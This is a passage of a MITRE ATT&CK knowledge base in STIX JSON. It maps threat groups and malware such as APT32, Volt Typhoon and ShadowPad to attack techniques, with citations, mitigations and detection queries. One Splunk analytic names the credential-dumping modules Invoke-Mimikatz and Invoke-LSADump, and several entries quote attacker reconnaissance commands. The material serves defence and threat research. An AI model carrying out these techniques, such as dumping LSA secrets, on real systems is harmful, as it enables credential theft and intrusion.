2019)","relationship_type":"uses","source_ref":"malware--57d83eac-a2ea-42b0-a7b2-c80c55157790","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c0807a3c-a298-47ef-8705-7d7ca55d446e","created":"2022-02-01T16:00:17.492Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Google TAG Lazarus Jan 2021","description":"Weidemann, A. (2021, January 25). New campaign targeting security researchers. Retrieved December 20, 2021.","url":"https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T14:12:20.506Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has created new Twitter accounts to conduct social engineering against potential victims.(Citation: Google TAG Lazarus Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c0846dd3-f7b4-4460-9047-917781e38b18","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Powersploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","url":"https://github.com/mattifestation/PowerSploit"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T15:51:39.494Z","description":"Monitor executed commands and arguments that may access to a host may attempt to access Local Security Authority (LSA) secrets. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nAnalytic 1 - Suspicious access to LSA secrets.\n\n index=security (sourcetype=\"Powershell\" EventCode=4104) Image=\"*powershell.exe\" CommandLine IN (\"*Invoke-Mimikatz*\", \"*Invoke-LSADump*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c08684c8-8467-4b7f-a9ac-3330cf423261","type":"relationship","created":"2019-01-31T01:07:58.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2019-07-17T13:11:38.696Z","description":"[APT32](https://attack.mitre.org/groups/G0050) successfully gained remote access by using pass the ticket.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c0876037-56b6-409c-bda5-7aa5e6091c94","created":"2021-03-23T20:49:40.307Z","x_mitre_version":"1.0","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."},{"source_name":"Securelist ShadowPad Aug 2017","url":"https://securelist.com/shadowpad-in-corporate-networks/81432/","description":"GReAT. (2017, August 15). ShadowPad in corporate networks. Retrieved March 22, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ShadowPad](https://attack.mitre.org/software/S0596) has encrypted its payload, a virtual file system, and various files.(Citation: Securelist ShadowPad Aug 2017)(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-21T17:17:28.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c088f23e-b741-453c-a710-01990dead853","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Systeminfo","description":"Microsoft. (n.d.). Systeminfo. Retrieved April 8, 2016.","url":"https://technet.microsoft.com/en-us/library/bb491007.aspx"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather information about the operating system.(Citation: TechNet Systeminfo)","relationship_type":"uses","source_ref":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c089604b-f25e-4a4c-857b-0c2d157d34bb","created":"2022-04-19T16:29:03.606Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Neoichor](https://attack.mitre.org/software/S0691) can collect the OS version and computer name from a compromised host.(Citation: Microsoft NICKEL December 2021)","modified":"2022-04-19T16:29:03.606Z","relationship_type":"uses","source_ref":"malware--4d7bf2ac-f953-4907-b114-be44dc174d67","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c08d8f49-5cca-4463-81db-bb80cc9a7af6","created":"2023-08-01T20:36:56.976Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-08T17:13:44.834Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has run `net localgroup administrators` in compromised environments to enumerate accounts.(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)\n","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c08ebacd-b5e4-48c3-8ee6-389c635801da","created":"2022-06-09T14:44:16.021Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET DazzleSpy Jan 2022","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022."},{"source_name":"Objective-See MacMa Nov 2021","url":"https://objective-see.org/blog/blog_0x69.html","description":"Wardle, P. (2021, November 11). OSX.CDDS (OSX.MacMa). Retrieved June 30, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MacMa](https://attack.mitre.org/software/S1016) can execute supplied shell commands and uses bash scripts to perform additional actions.(Citation: ESET DazzleSpy Jan 2022)(Citation: Objective-See MacMa Nov 2021)","modified":"2022-06-30T21:25:02.663Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c08ef8e9-9e12-4bb2-9e6a-061934f33ea0","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sofacy Komplex Trojan","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"}],"modified":"2020-01-17T19:50:01.355Z","description":"The [Komplex](https://attack.mitre.org/software/S0162) C2 channel uses an 11-byte XOR algorithm to hide data.(Citation: Sofacy Komplex Trojan)","relationship_type":"uses","source_ref":"malware--f108215f-3487-489d-be8b-80e346d32518","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c08f55ca-366b-4554-879b-1b19042f9be8","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","source_name":"Proofpoint TA459 April 2017"}],"modified":"2019-03-25T17:00:47.383Z","description":"[TA459](https://attack.mitre.org/groups/G0062) has used PowerShell for execution of a payload.(Citation: Proofpoint TA459 April 2017)","relationship_type":"uses","source_ref":"intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0905059-1f3c-414c-8027-b8ec2e4b3c89","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2020-03-27T18:43:05.405Z","description":"When the [Duqu](https://attack.mitre.org/software/S0038) command and control is operating over HTTP or HTTPS, Duqu uploads data to its controller by appending it to a blank JPG file.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c09c2f08-3bda-4af7-9578-01fa1c7fba2c","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Invoke-PSImage","description":"Adams, B. (2017, December 17). Invoke-PSImage. Retrieved April 10, 2018.","url":"https://github.com/peewpw/Invoke-PSImage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T22:03:26.141Z","description":"[Invoke-PSImage](https://attack.mitre.org/software/S0231) can be used to embed a PowerShell script within the pixels of a PNG file.(Citation: GitHub Invoke-PSImage)","relationship_type":"uses","source_ref":"tool--b52d6583-14a2-4ddc-8527-87fd2142558f","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c09f73f8-f350-457c-a492-8cd820b00074","created":"2023-04-13T23:19:29.293Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T23:21:36.060Z","description":"During [Operation Ghost](https://attack.mitre.org/campaigns/C0023), [APT29](https://attack.mitre.org/groups/G0016) used steganography to hide payloads inside valid images.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"campaign--7854c1a0-f06c-4876-98a4-4bbd34751b05","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0a0d653-ff95-4c77-a129-c7f3398a56ca","type":"relationship","created":"2021-12-06T20:36:44.154Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T20:36:44.154Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has used batch scripts to enumerate administrators and users in the domain.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0a10dc5-51e4-4ec3-a827-4999bde3ed58","type":"relationship","created":"2021-01-27T19:37:49.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-01-27T19:37:49.570Z","description":"(Citation: ESET EvilNum July 2020)","relationship_type":"uses","source_ref":"intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de","target_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c0a23c9d-a972-46a9-9a86-a440bbfd5d1f","created":"2022-06-10T14:44:08.470Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T13:51:53.847Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has searched a victim's network for organization collaboration channels like MS Teams or Slack to discover further high-privilege account credentials.(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--fb75213f-cfb0-40bf-a02f-3bad93d6601e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0a373f1-a0bb-4896-8b9e-ee8d642127a9","type":"relationship","created":"2021-09-29T22:24:15.632Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T22:24:15.632Z","description":"[APT38](https://attack.mitre.org/groups/G0082) have created firewall exemptions on specific ports, including ports 443, 6443, 8443, and 9443.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c0a4bcc3-8e3c-4f92-8b87-db70483e10e4","created":"2022-09-27T16:40:43.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:07:46.677Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors executed PowerShell commands which were encoded or compressed using Base64, zlib, and XOR.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0aa0cf1-4c03-4fdd-bdbb-65563bff4a81","type":"relationship","created":"2020-03-29T21:49:59.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T23:09:25.423Z","description":"Ensure proper Registry permissions are in place to prevent adversaries from disabling or interfering with security/logging services.","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c0aedaa7-158f-4f97-a49b-9e6420365f8a","created":"2024-08-26T18:11:11.739Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:11:11.739Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) staged malicious capabilities online for follow-on download by victims or malware.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c0c1a394-23db-44cf-a922-89e10ba13ec6","created":"2023-02-14T21:49:54.159Z","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"},{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T21:49:54.159Z","description":"For [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors acquired a variety of open source tools, including [Mimikatz](https://attack.mitre.org/software/S0002), [Sliver](https://attack.mitre.org/software/S0633), SoftPerfect Network Scanner, AnyDesk, and PDQ Deploy.(Citation: Cisco Talos Avos Jun 2022)(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0d119a2-c5f9-4c18-a18c-28bfa576ea9a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Bankshot Dec 2017","description":"US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}],"modified":"2020-02-18T03:40:29.926Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) writes data into the Registry key HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Pniumj.(Citation: US-CERT Bankshot Dec 2017)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c0e5d650-9380-4a18-b7ce-cc2d22dfee6a","created":"2024-08-20T16:00:55.534Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T16:00:55.534Z","description":"Monitor M365 Audit logs for FileAccessed operations against Sharepoint workloads. Scrutinize event metadata such as client IP address, ObjectId, UserId, User Agent, and Authentication type.\n\nAnalytic 1 - Unusual file access patterns by users, anomalous IP addresses, or suspicious User Agents\n\n index=\"m365_audit_logs\" Operation=\"FileAccessed\"\n| stats count by UserId, ClientIP, ObjectId, UserAgent, AuthenticationType\n| where UserId!=\"expected_user\" OR ClientIP!=\"expected_ip\" OR UserAgent!=\"expected_user_agent\" OR AuthenticationType!=\"expected_auth_type\"","relationship_type":"detects","source_ref":"x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f","target_ref":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0e78590-0266-43e0-8fb5-efd95556c20c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}],"modified":"2020-03-30T01:44:20.206Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) compresses output data generated by command execution with a custom implementation of the Lempel–Ziv–Welch (LZW) algorithm.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0f13745-074b-46ba-ae7a-03385ef79d31","type":"relationship","created":"2020-05-04T19:13:35.506Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.506Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to collect the username on the infected host.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0f3f4f3-e435-443f-aa89-18afb0115055","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T00:52:18.912Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of running services with the command tasklist /v.(Citation: Symantec Orangeworm April 